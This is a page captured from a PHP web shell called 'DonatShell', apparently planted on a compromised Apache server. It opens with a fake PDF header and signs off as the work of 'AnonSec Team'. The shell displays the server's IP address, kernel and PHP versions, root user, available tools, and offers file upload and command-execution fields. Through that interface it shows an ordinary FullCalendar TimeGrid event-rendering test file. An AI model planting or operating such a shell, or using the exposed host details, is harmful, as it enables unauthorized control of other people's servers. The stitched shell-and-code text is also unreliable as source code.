%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/TimeGrid-events.js
import { getEventElAtIndex, getEventElTimeEl, getSingleEl } from '../event-render/EventRenderUtils'

describe('TimeGrid event rendering', function() {

  pushOptions({
    defaultDate: '2014-08-23',
    defaultView: 'timeGridWeek',
    scrollTime: '00:00:00'
  })

  it('renders the start and end time of an event that spans only 1 day', function() {
    initCalendar({
      events: [ {
        title: 'event1',
        start: '2014-08-18T02:00:00',
        end: '2014-08-18T22:00:00'
      } ]
    })
    expect(getEventElTimeEl(getSingleEl())).toHaveText('2:00 - 10:00')
  })

  it('renders time to/from midnight for an event that spans two days', function() {
    initCalendar({
      events: [ {
        title: 'event1',
        start: '2014-08-18T02:00:00',
        end: '2014-08-19T22:00:00'
      } ]
    })
    var seg1 = getEventElAtIndex(0)
    var seg2 = getEventElAtIndex(1)
    expect(getEventElTimeEl(seg1)).toHaveText('2:00 - 12:00')
    expect(getEventElTimeEl(seg2)).toHaveText('12:00 - 10:00')
  })

  it('renders no time on an event segment that spans through an entire day', function() {
    initCalendar({
      events: [ {
        title: 'event1',
        start: '2014-08-18T02:00:00',
        end: '2014-08-20T22:00:00'
      } ]
    })
    var seg2 = getEventElAtIndex(1)
    expect(seg2).toBeInDOM()
    expect(getEventElTimeEl(seg2)).not.toBeInDOM()
  })

  it('renders an event with no url with no <a> href', function() {
    initCalendar({
      events: [ {
        title: 'event1',
        start: '2014-08-18T02:00:00'
      } ]
    })
    var seg = getSingleEl()
    expect(seg).not.toHaveAttr('href')
  })

  it('renders an event with a url with an <a> href', function() {
    initCalendar({
      events: [ {
        title: 'event1',
        start: '2014-08-18T02:00:00',
        url: 'http://google.com/'
      } ]
    })
    var seg = getSingleEl()
    expect(seg).toHaveAttr('href')
  })

})

Anon7 - 2022
AnonSec Team